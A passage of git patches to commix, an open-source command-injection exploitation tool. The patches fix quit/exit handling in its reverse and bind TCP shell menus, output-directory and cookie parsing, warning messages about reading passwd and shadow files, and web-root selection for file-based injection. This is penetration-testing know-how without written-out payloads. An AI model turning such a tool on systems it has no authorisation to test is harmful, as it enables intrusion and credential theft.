a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 8c4616839a..03b733a1b9 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -76,7 +76,6 @@ def invalid_data(request): with open(request_file, 'r') as file: request = file.read() else: - r invalid_data(request_file) if menu.options.requestfile: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0b8845021e..aa1f2237b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d33206ab68f82cf50d6d83cb2a31faf6a8fa65a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 29 Apr 2024 09:05:48 +0300 Subject: [PATCH 432/560] Bug fix regarding help (`?`) command. Ref: https://github.com/commixproject/commix/issues/905 --- src/core/injections/controller/shell_options.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 4 ++-- src/utils/settings.py | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 11717f157c..76bf9d76b7 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -180,7 +180,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif any(("quit", "exit")): + elif os_shell_option == "quit" or os_shell_option == "exit": logs.print_logs_notification(filename, url) raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 9625394db4..77f805a936 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -265,7 +265,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r return go_back, go_back_again # The "quit" option - elif any(("quit", "exit")): + elif os_shell_option == "quit" or os_shell_option == "exit": raise SystemExit() """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 0fcfe4b7a2..5e4072972c 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -34,7 +34,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -502,7 +502,7 @@ def configure_bind_tcp(separator): elif option.lower() == "?": menu.bind_tcp_options() continue - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index d0543e5942..0d0f6d4b56 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -39,7 +39,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -708,7 +708,7 @@ def configure_reverse_tcp(separator): if option.lower() == "?": menu.reverse_tcp_options() continue - if any(("quit", "exit")): + if option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False diff --git a/src/utils/settings.py b/src/utils/settings.py index aa1f2237b0..2dbd6fad1d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8684693a0afb433f6aec73e64372bb667ca7fcb4 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Thu, 2 May 2024 09:31:21 +0300 Subject: [PATCH 433/560] Update builds.yml Fix regarding the failing CI --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 0564104390..67fb4ffbfb 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.10', 'pypy-2.7', 'pypy-3.7' ] + python-version: [ '3.10', 'pypy-2.7', 'pypy-3.9' ] steps: - uses: actions/checkout@v2 - name: Set up Python From 1f99ecdeac8d5dd2e89262e76c090d132022f782 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 May 2024 11:49:08 +0300 Subject: [PATCH 434/560] Minor bug-fix regarding option `--output-dir`. Ref: https://github.com/commixproject/commix/issues/905 --- doc/CHANGELOG.md | 1 + src/utils/logs.py | 25 +++++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eb39ffc3a5..4ad03b6c03 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). diff --git a/src/utils/logs.py b/src/utils/logs.py index 1886ced1b5..8cb1e1249d 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -16,6 +16,7 @@ import re import sys import time +import tempfile import sqlite3 from datetime import date from datetime import datetime @@ -54,10 +55,13 @@ def logs_filename_creation(url): menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir + warn_msg = "Using '" + output_dir + "' as the output directory." + print(settings.print_warning_msg(warn_msg)) else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " + warn_msg += "Using temporary directory '" + output_dir + "' instead." + print(settings.print_warning_msg(warn_msg)) else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) @@ -67,7 +71,6 @@ def logs_filename_creation(url): # The logs filename construction. filename = create_log_file(url, output_dir) - return filename """ @@ -89,11 +92,9 @@ def create_log_file(url, output_dir): if os.path.exists(menu.options.session_file): settings.SESSION_FILE = menu.options.session_file else: - err_msg = "The provided session file ('" + \ - menu.options.session_file + \ - "') does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: settings.SESSION_FILE = logs_path + "session.db" @@ -119,6 +120,10 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() + + if not menu.options.output_dir: + filename = os.path.abspath(filename) + return filename """ @@ -180,7 +185,7 @@ def executed_command(filename, cmd, output): def logs_notification(filename): # Save command history. if not menu.options.no_logging: - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." + info_msg = "Fetched data logged to text files under '" + filename + "'." print(settings.print_info_msg(info_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 2dbd6fad1d..abe33a9a2b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b9f7408e6d355d40be9237e672849152b26e5d0d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 May 2024 10:34:44 +0300 Subject: [PATCH 435/560] Fixes https://github.com/commixproject/commix/issues/913 --- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 88544b956f..45e3b4636b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -467,7 +467,7 @@ def vuln_POST_param(parameter, url): if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) - if (_.groups()[0]) == (_.groups()[1]): + if _ and (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) if settings.CUSTOM_INJECTION_MARKER: try: diff --git a/src/utils/settings.py b/src/utils/settings.py index abe33a9a2b..8c9f048044 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebeb1316fa2e7208583b9ee169b77dc9159e1847 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 May 2024 13:51:50 +0300 Subject: [PATCH 436/560] Minor update --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index afa956efc0..d67cf272ea 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -110,7 +110,8 @@ def process_non_custom(): settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: - settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = True + settings.SKIP_NON_CUSTOM = True + settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8c9f048044..bf368891ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From daf9ec875ae7f70909803f94761150b3e3a3fbed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 May 2024 09:11:32 +0300 Subject: [PATCH 437/560] Minor update --- src/core/injections/controller/checks.py | 10 ++++------ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d67cf272ea..ad9753d939 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2145,14 +2145,12 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) else: - # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: - # print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) @@ -2201,8 +2199,8 @@ def print_passes(sys_passes, filename, _, alter_shell): if not menu.options.no_logging: output_file.write(" " + fields[0]) else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index bf368891ed..a2ef434357 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d81bcfe9566223478af958ad2955dd12ea1eb123 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 May 2024 09:05:23 +0300 Subject: [PATCH 438/560] Minor refactoring --- src/core/injections/controller/controller.py | 25 +------------------- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 25 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 207671f6df..bd5c4b3683 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -778,30 +778,7 @@ def do_check(url, http_request_method, filename): warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - message = "Do you want to increase to '--level=" + str(scan_level + 1) - message += "' in order to perform more tests? [Y/n] > " - next_level = common.read_input(message, default="Y", check_batch=True) - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 - else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_level) - pass - else: - perform_checks(url, http_request_method, filename) + perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: diff --git a/src/utils/settings.py b/src/utils/settings.py index a2ef434357..726718f4e3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82d4aba328aa21e8efc81271dfbfeafdcfe79c70 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 May 2024 09:25:38 +0300 Subject: [PATCH 439/560] Fixes https://github.com/commixproject/commix/issues/914 --- src/core/injections/controller/checks.py | 13 +++++++------ src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ad9753d939..1e60d1a0da 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -321,12 +321,13 @@ def connection_exceptions(err_msg): """ def not_declared_cookies(response): try: - set_cookie_headers = [] - for set_cookie_header in response.getheaders(): - if settings.SET_COOKIE in set_cookie_header: - set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1)) - - candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers) + set_cookie_header = [] + for response_header in response.getheaders(): + if settings.SET_COOKIE in response_header: + _ = re.search(r'([^;]+);?', response_header[1]) + if _: + set_cookie_header.append(_.group(1)) + candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if menu.options.cookie: diff --git a/src/utils/settings.py b/src/utils/settings.py index 726718f4e3..88b6c7fb5d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From db175feff9993c8e96c1bd29118bbfe0cd03d505 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Mon, 13 May 2024 14:59:36 +0300 Subject: [PATCH 440/560] Trying python 3.11 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 67fb4ffbfb..fb6ee0738d 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.10', 'pypy-2.7', 'pypy-3.9' ] + python-version: [ 'pypy-2.7', '3.10' ] steps: - uses: actions/checkout@v2 - name: Set up Python From ef1427530c04378100c59a563488e80c1bb484f8 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Mon, 13 May 2024 15:01:57 +0300 Subject: [PATCH 441/560] Trying python 3.11 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index fb6ee0738d..48bdd19506 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.10' ] + python-version: [ 'pypy-2.7', '3.11' ] steps: - uses: actions/checkout@v2 - name: Set up Python From b4cc6f58d8c75df030d6d75aab3eb404b448271b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 14 May 2024 07:29:09 +0300 Subject: [PATCH 442/560] Minor revert regarding commit: https://github.com/commixproject/commix/commit/0ed34b8a3909dd8bec8773b4d9a4cade3aea8436 --- src/core/main.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index eb577e6a85..a04aaae587 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -513,9 +513,7 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_detection(response) - if response.info()[settings.X_POWERED_BY] : - server_banner = response.info()[settings.X_POWERED_BY] - elif response.info()[settings.SERVER] : + if response.info()[settings.SERVER] : server_banner = response.info()[settings.SERVER] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b6c7fb5d..79663583f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2850e40c5469bf676f301a94f6cb979eefc4bfe2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 May 2024 07:15:46 +0300 Subject: [PATCH 443/560] Minor improvements regarding semiblind (i.e. "file-based") technique. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_handler.py | 86 +++++-------------- .../techniques/file_based/fb_injector.py | 13 +-- .../techniques/tempfile_based/tfb_handler.py | 4 + src/utils/logs.py | 2 +- src/utils/settings.py | 6 +- 6 files changed, 35 insertions(+), 77 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4ad03b6c03..a79971c481 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 34538a4f10..867fd6911f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -49,7 +49,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' as temporary writable directory." + debug_msg = "Using '" + tmp_path + "' for temporary writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " info_msg += "directory ('" + tmp_path + "') for command execution output.\n" @@ -78,20 +78,18 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == settings.OS.WINDOWS : - example_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] - else: - example_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Please provide web server document root directory (e.g. '" - message += example_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) - if settings.WEB_ROOT.endswith(("\\", "/")): - settings.WEB_ROOT = settings.WEB_ROOT[:-1] - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = example_root_dir - if menu.options.web_root: - menu.options.web_root = settings.WEB_ROOT - settings.CUSTOM_WEB_ROOT = True + if not settings.CUSTOM_WEB_ROOT: + if settings.TARGET_OS == settings.OS.WINDOWS : + default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + else: + default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + message = "Enter what you want to use for writable directory (e.g. '" + message += default_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) + if len(settings.WEB_ROOT) == 0: + settings.WEB_ROOT = default_root_dir + menu.options.web_root = settings.WEB_ROOT.strip() + settings.CUSTOM_WEB_ROOT = True """ Return TEMP path for win / *nix targets. @@ -124,52 +122,11 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == settings.OS.WINDOWS: - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" - except IndexError: - pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path @@ -215,7 +172,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' as writable directory." + debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT info_msg += "' for command execution output. " @@ -600,6 +557,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break @@ -632,7 +593,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r return False else: return True - elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index f85ab905c3..573a4fbb81 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -277,13 +277,6 @@ def custom_web_root(url, OUTPUT_TEXTFILE): hostname = _urllib.parse.urlparse(url).hostname netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE - - for item in settings.LINUX_DEFAULT_DOC_ROOTS: - item = item.replace(settings.DOC_ROOT_TARGET_MARK, hostname) - if item == menu.options.web_root: - settings.DEFINED_WEBROOT = output - break - if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True @@ -295,8 +288,8 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: - message = "Please enter URL to use " - message += "for command execution output: > " + message = "Enter URL to use " + message += "for command execution output > " message = common.read_input(message, default=output, check_batch=True) output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output @@ -317,7 +310,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking if the file is accessible from '" + output + "'." + debug_msg = "Checking if the file '" + output + "' is accessible." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 883c406c10..4fc3cfd19f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -522,6 +522,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + # Delete previous shell (text) files (output) from temp. + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break diff --git a/src/utils/logs.py b/src/utils/logs.py index 8cb1e1249d..ba598c88e6 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -55,7 +55,7 @@ def logs_filename_creation(url): menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir - warn_msg = "Using '" + output_dir + "' as the output directory." + warn_msg = "Using '" + output_dir + "' for output directory." print(settings.print_warning_msg(warn_msg)) else: output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) diff --git a/src/utils/settings.py b/src/utils/settings.py index 79663583f9..abc93e5c81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION 